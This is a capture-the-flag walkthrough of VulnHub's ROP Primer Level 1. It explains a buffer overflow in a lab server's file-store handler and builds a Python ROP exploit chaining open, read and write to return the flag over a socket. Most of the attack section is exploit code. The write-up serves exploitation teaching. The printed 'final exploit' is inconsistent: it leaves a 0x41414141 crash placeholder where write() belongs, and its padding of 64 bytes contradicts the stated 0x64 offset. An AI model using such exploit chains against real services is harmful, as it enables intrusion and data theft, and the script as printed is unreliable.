« Back to home

ROP Primer - Walkthrough of Level 1

Continuing from the previous post which shows a solution for Level 0, we are going to look at Level 1 of ROP Primer from VulnHub.

Level 1 is a server application, which suffers from a typical buffer overflow. Reviewing the application source provided by the challenge, we can see that the overflow vector is within the following code:

void handle_conn(int fd)
{
char filename[32], cmd[32];
...
if (!strncmp(cmd, "store", 5))
{
  write_buf(fd, " Please, how many bytes is your file?\n\n");
  write_buf(fd, "> ");
  memset(str_filesize, 0, sizeof(str_filesize));
  read(fd, &str_filesize, 6);
  filesize = atoi(str_filesize);
  ...
  memset(filename, 0, sizeof(filename));           
  read_bytes = read(fd, filename, filesize);

When the user selects the “store” option, a filesize is provided by the user as prompted. After passing some file data, this value is then mistakenly used as the length parameter of a read() call, allowing the user to overflow the filename buffer.

As with the previous challenge, we want to load the binary into a debugger to determine how to craft our buffer overflow exploit. There is one slight problem with this however, SSH’ing into the server as instructed (using the level1 user), and attempting to start the binary, we are shown a number of errors:

This is due to the fact that the process is already running on the server, meaning we cannot bind to the same TCP port.

Rather than elevating to root and killing the process, we can use our debugger to change the port which our debugged process will bind to. First we need to load the application into GDB and find the code responsible for setting the port, which is present in the following disassembly:

0x08048d85 :   mov    DWORD PTR [esp],0x22b8

Knowing this, we can patch the port at runtime by setting a breakpoint on main, and using Peda’s “patch” command:

break main
run
patch 0x08048d88 '\xb9\x22\x00\x00'

As the process will also spawn a child using a fork() call, we must tell GDB to follow the forked process using:

set follow-fork-mode child

We continue debugging and attempt to crash the server using a long string. We will use the same pattern_create technique as our previous tutorial to find appropriate offsets:

Now we know that our EIP overwrite is at offset 0x64, we have to construct our ROP chain to send the flag back to the user.

Previously we used mprotect to allow arbitrary shellcode to be executed from the stack, however this time we are going to use the open/read/write syscalls to pass the flag to the user across the network.

As with our previous ROP chain, we need to find a few gadgets to start constructing our exploit, mainly:

  1. The address of the open() call, using “p open”
  2. The address of the read() call, using “p read”
  3. The address of the write() call, using “p write”
  4. pop2ret and pop3ret gadgets, using “ropgadget”

We also need a way to add the string “flag” to our ROP chain. Reviewing the application source code, we see that the string “flag” is actually referenced by the application:

if (strstr(filename, "flag"))
{
...
}

This means we should be able to reference this string in memory using the Peda command “searchmem”:

Finally, we need to know the descriptor ID’s of both the socket and file that will be opened so we can add this to our ROP chain.

Finding the socket descriptor is relatively simple using GDB, first we add a breakpoint to accept(), the call which returns a socket for our connected client. Once we are connected and the breakpoint has been hit, we can use the “finish” command to return from the call, and in EAX will be our descriptor:

To retrieve the file descriptor of our opened flag, we can use GDB’s “call” method on the open() function, requesting a dummy flag present in /tmp/flag to retrieve the return value:

call open("/tmp/flag", 0)

Now that we know 4 is our accept() call return value, and 3 is our open() call return value, let’s start to craft our ROP chain. We’ll start with the open() call, which has the following prototype:

int open(const char *pathname, int flags);

For the “pathname” parameter, we need to pass the address of our “flag” string found in memory earlier. The “flags” parameter will need to be O_RDONLY, which is found to be 0 within “fcntl.h”:

#define O_RDONLY    00000000

Before executing our first attempt, we want to change our current working directory to /tmp/ and add a file named “flag”. This is because, if we started the process in the “/home/level1” directory, when our ROP open() call is made we will receive a permission denied error rather than the expected file descriptor due to the permissions of the flag file.

OK, so our first attempt looks like this:

import socket
import struct
import sys

OPEN = 0xb7f00060

def p(v):
    return struct.pack("I", v)

rop = ""
rop += p(OPEN)
rop += p(0x41414141)     # crash
rop += p(0x8049128)      # pathname - Address of 'flag' string
rop += p(0x00)           # flags - O_RDONLY

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
s.connect(('127.0.0.1', int(sys.argv[1])))
print s.recv(1024)
s.send("store")
print s.recv(1024)
s.send("200")
print s.recv(1024)
s.send("AAAA")
print s.recv(1024)
s.send(("B" * 64) + rop + "C" * (200 - 64 - len(rop)))

Brilliant, we crashed at 0x41414141 and our EAX register shows a value of 0x3, our expected file descriptor… we’re on the right track.

Next up is our read() call. Again, the function signature is:

ssize_t read(int fd, void *buf, size_t count);

Before calling this function, we need to remove the open() call arguments from the stack once it has been called. As with the previous tutorial, we can do this with a pop2ret gadget. Then we can call the read() function.

For the buf parameter, I chose the beginning of the stack, as we are not dealing with ASLR, this address will remain the same between process restarts. Finally, we will be using a file descriptor value of “3” as discovered earlier, and a count of 100 bytes. Combined, we have the following script which can be run against our debugged process:

import socket
import struct
import sys

OPEN = 0xb7f00060
READ = 0xb7f004f0

def p(v):
    return struct.pack("I", v)

rop = ""
rop += p(OPEN)
rop += p(0x8048ef7)      # pop2ret, removing OPEN args
rop += p(0x8049128)      # pathname - Address of 'flag' string
rop += p(0x00)           # flags - O_RDONLY
rop += p(READ)
rop += p(0x42424242)     # crash!!
rop += p(0x3)            # fd - fd from the OPEN call
rop += p(0xbffdf000)     # buf - stack location to read flag to
rop += p(100)            # count - read 100 bytes

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
s.connect(('127.0.0.1', int(sys.argv[1])))
print s.recv(1024)
s.send("store")
print s.recv(1024)
s.send("200")
print s.recv(1024)
s.send("AAAA")
print s.recv(1024)
s.send(("B" * 64) + rop + "C" * (200 - 64 - len(rop)))

OK, we can see that our dummy flag data has been read and placed at address 0xbffdf000.

Now the final stage is to write that data back to the client over the network. To do this we are using the write() call, which has the following signature:

ssize_t write(int fd, const void *buf, size_t count);

Similar to previous, we need to account for the left over read() arguments on the stack, by using a pop3ret gadget to remove them.

For the buf parameter, we will choose the address where our flag data has just been read into, and a count value of 100. The fd parameter will be set to the socket file descriptor that we found earlier of 4.

Combined, we have a final exploit which looks like this:

import socket
import struct
import sys

OPEN = 0xb7f00060
READ = 0xb7f004f0

def p(v):
    return struct.pack("I", v)

rop = ""
rop += p(OPEN)
rop += p(0x8048ef7)      # pop2ret, removing OPEN args
rop += p(0x8049128)      # pathname - Address of 'flag' string
rop += p(0x00)           # flags - O_RDONLY
rop += p(READ)
rop += p(0x8048ef6)      # pop3ret
rop += p(0x3)            # fd - fd from the OPEN call
rop += p(0xbffdf000)     # buf - stack location to read flag to
rop += p(100)            # count - read 100 bytes
rop += p(0x41414141)     # CRASH
rop += p(0x4)            # fd - fd from the ACCEPT call
rop += p(0xbffdf000)     # buf - stack location of flag data
rop += p(100)            # count - write 100 bytes

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP)
s.connect(('127.0.0.1', int(sys.argv[1])))
print s.recv(1024)
s.send("store")
print s.recv(1024)
s.send("200")
print s.recv(1024)
s.send("AAAA")
print s.recv(1024)
s.send(("B" * 64) + rop + "C" * (200 - 64 - len(rop)))
print s.recv(1024)
print s.recv(1024)
print s.recv(1024)

asciicast